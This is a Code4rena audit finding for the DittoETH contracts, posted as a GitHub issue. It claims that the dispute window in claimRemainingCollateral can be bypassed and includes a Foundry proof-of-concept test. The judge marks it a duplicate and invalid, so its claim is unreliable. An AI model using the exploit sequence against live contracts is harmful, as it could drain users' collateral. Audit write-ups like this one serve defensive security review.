search

code-423n4 / 2024-07-dittoeth-findings

0 stars 0 forks source link

Bypassing dispute timelines in claim redemption process #5

Closed c4-bot-8 closed 2 months ago

c4-bot-8 commented 2 months ago

Lines of code

https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/facets/ClaimRedemptionFacet.sol#L56 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/facets/ClaimRedemptionFacet.sol#L77 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/facets/DisputeRedemptionFacet.sol#L127

Vulnerability details

Impact

Shorters can call ClaimRedemptionFacet::claimRemainingCollateral to claim short.collateral whenever the timeToDispute has passed:

    function claimRemainingCollateral(address asset, address redeemer, uint8 claimIndex, uint8 id)
        external
        isNotFrozen(asset)
        nonReentrant
    {
        STypes.AssetUser storage redeemerAssetUser = s.assetUser[asset][redeemer];
        if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();

        // @dev Only need to read up to the position of the SR to be claimed
        (, uint32 timeToDispute,,, MTypes.ProposalData[] memory decodedProposalData) =
            LibBytes.readProposalData(redeemerAssetUser.SSTORE2Pointer, claimIndex + 1);

>>>     if (timeToDispute > LibOrders.getOffsetTime()) revert Errors.TimeToDisputeHasNotElapsed();
        MTypes.ProposalData memory claimProposal = decodedProposalData[claimIndex];

        if (claimProposal.shorter != msg.sender || claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();

        STypes.Asset storage Asset = s.asset[asset];
        _claimRemainingCollateral({asset: asset, vault: Asset.vault, shorter: msg.sender, shortId: id});
    }

However, this process can be bypassed in the following manner:

  1. Redeemer creates a proposal of short records with CR=1.4 and CR=1.7. timeToDispute=3hours
  2. The proposal with CR=1.7 is disputed using a short record of CR=1.6, this results in their removal from the list, leaving a smaller slate ClaimRedemptionFacet#L127 because a portion of the list becomes subject to dispute. 3 hours has passed but the redeemer does not claim the short record CR=1.4.
  3. Another redeemer creates a proposal with short records CR=1.6 and CR=1.7. The short record CR=1.6 can be proposed again because it was disputed in step 2. This new proposal has a new timeToDispute different from the one in step 1.
  4. At this point, the shorter of the short record CR=1.6 from step 3 proposal can call ClaimRedemptionFacet::claimRemainingCollateral without any restriction on the timeToDispute, even when the dispute period has not yet ended.
  5. Furthermore, the CR=1.6 can now be disputed with the SR CR=1.5, and subsequently, the collateral will be returned to the TAPP DisputeRedemptionFacet#L88-L101. This is because the shorter closed the shortRecord in step 4.

The issue occurs in claimRemainingCollateral, where any claimIndex of SSTORE2Pointer can be called without restricting indices that were previously disputed.

    function claimRemainingCollateral(address asset, address redeemer, uint8 claimIndex, uint8 id)
        external
        isNotFrozen(asset)
        nonReentrant
    {
        STypes.AssetUser storage redeemerAssetUser = s.assetUser[asset][redeemer];
        if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();

        // @dev Only need to read up to the position of the SR to be claimed
        (, uint32 timeToDispute,,, MTypes.ProposalData[] memory decodedProposalData) =
>>>        LibBytes.readProposalData(redeemerAssetUser.SSTORE2Pointer, claimIndex + 1);

        if (timeToDispute > LibOrders.getOffsetTime()) revert Errors.TimeToDisputeHasNotElapsed();
        MTypes.ProposalData memory claimProposal = decodedProposalData[claimIndex];

        if (claimProposal.shorter != msg.sender || claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();

        STypes.Asset storage Asset = s.asset[asset];
        _claimRemainingCollateral({asset: asset, vault: Asset.vault, shorter: msg.sender, shortId: id});
    }

Proof of Concept

The following test demonstrates how a shorter can call claimRemainingCollateral from a shortRecord that is still within the dispute period:

// File: test/Redemption.t.sol
    function test_DisputeRedemptionClaimDisputedPropose() public {
        uint88 _redemptionAmounts = DEFAULT_AMOUNT * 2;
        uint88 initialErcEscrowed = DEFAULT_AMOUNT;
        fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
        fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
        fundLimitBidOpt(DEFAULT_PRICE + 1, DEFAULT_AMOUNT, receiver);
        fundLimitShortOpt(DEFAULT_PRICE + 1, DEFAULT_AMOUNT, sender);
        fundLimitBidOpt(DEFAULT_PRICE + 2, DEFAULT_AMOUNT, receiver);
        fundLimitShortOpt(DEFAULT_PRICE + 2, DEFAULT_AMOUNT, sender);
        fundLimitBidOpt(DEFAULT_PRICE + 3, DEFAULT_AMOUNT, receiver);
        fundLimitShortOpt(DEFAULT_PRICE + 3, DEFAULT_AMOUNT, sender);
        MTypes.ProposalInput[] memory proposalInputs =
            makeProposalInputsForDispute({shortId1: C.SHORT_STARTING_ID, shortId2: C.SHORT_STARTING_ID + 2});
        address redeemer = receiver;
        changeUpdateAtAndSkipTime({shortId: C.SHORT_STARTING_ID + 2});
        setETHAndProposeShorts({redeemer: redeemer, proposalInputs: proposalInputs, redemptionAmount: _redemptionAmounts});
        checkRedemptionSSTORE(redeemer, proposalInputs, IS_FULL, IS_FULL);
        //
        // 1. Dispute proposal
        address disputer = extra;
        vm.prank(disputer);
        diamond.disputeRedemption({
            asset: asset,
            redeemer: redeemer,
            incorrectIndex: 1,
            disputeShorter: sender,
            disputeShortId: C.SHORT_STARTING_ID + 1
        });
        address sstore2PointerRedeemer = diamond.getAssetUserStruct(asset, redeemer).SSTORE2Pointer;
        // @dev most important checks in the test
        assertFalse(sstore2PointerRedeemer == address(0));
        uint8 redeemerSlateLength = diamond.getAssetUserStruct(asset, redeemer).slateLength;
        assertEq(redeemerSlateLength, 1);
        (, uint32 timeToDispute,,,) =
            LibBytes.readProposalData(sstore2PointerRedeemer, redeemerSlateLength);
        skip(timeToDispute);
        //
        // 2. The `C.SHORT_STARTING_ID + 2` cannot be claimed
        uint shorterBalanceBefore = diamond.getVaultUserStruct(vault, sender).ethEscrowed;
        vm.prank(sender);
        diamond.claimRemainingCollateral(asset, redeemer, 1, C.SHORT_STARTING_ID + 2);
        assertEq(shorterBalanceBefore, diamond.getVaultUserStruct(vault, sender).ethEscrowed);  // current.ercEscrowed == balanceBefore
        //
        // 3. Another redeemer propose `SHORT_STARTING_ID + 2` and `SHORT_STARTING_ID + 3`
        address redeemerTwo = address(0x1337);
        proposalInputs =
            makeProposalInputsForDispute({shortId1: C.SHORT_STARTING_ID + 2, shortId2: C.SHORT_STARTING_ID + 3});
        depositUsd(redeemerTwo, DEF_REDEMPTION_AMOUNT);
        depositEth(redeemerTwo, _redemptionAmounts);
        checkEscrowed({redeemer: redeemerTwo, ercEscrowed: DEF_REDEMPTION_AMOUNT});
        setETHAndProposeShorts({redeemer: redeemerTwo, proposalInputs: proposalInputs, redemptionAmount: _redemptionAmounts});
        checkRedemptionSSTORE(redeemerTwo, proposalInputs, IS_FULL, IS_FULL);
        //
        // 4. The `SHORT_STARTING_ID + 2` can be called immediately without going through the dispute time from step 3.
        shorterBalanceBefore = diamond.getVaultUserStruct(vault, sender).ethEscrowed;
        vm.prank(sender);
        diamond.claimRemainingCollateral(asset, redeemer, 1, C.SHORT_STARTING_ID + 2);
        assertGt(diamond.getVaultUserStruct(vault, sender).ethEscrowed, shorterBalanceBefore); // current.ercEscrowed > balanceBefore
        //
        // 5. Dispute redeemerTwo's proposal `C.SHORT_STARTING_ID + 2`, the collateral of SR is going to TAPP
        STypes.ShortRecord memory tappSR = getShortRecord(tapp, C.SHORT_STARTING_ID);
        assertEq(tappSR.collateral, 0);
        vm.prank(disputer);
        diamond.disputeRedemption({
            asset: asset,
            redeemer: redeemerTwo,
            incorrectIndex: 0,
            disputeShorter: sender,
            disputeShortId: C.SHORT_STARTING_ID + 1
        });
        tappSR = getShortRecord(tapp, C.SHORT_STARTING_ID);
        assertGt(tappSR.collateral, 0);
    }

Tools used

Manual review

Recommended Mitigation Steps

Implement additional checks in the ClaimRedemptionFacet::claimRemainingCollateral function to ensure that any claims made on a short's collateral are only permissible if all disputes for the relevant short records have been fully resolved.

Assessed type

Invalid Validation

c4-judge commented 2 months ago

hansfriese marked the issue as duplicate of #3

c4-judge commented 2 months ago

hansfriese marked the issue as unsatisfactory: Invalid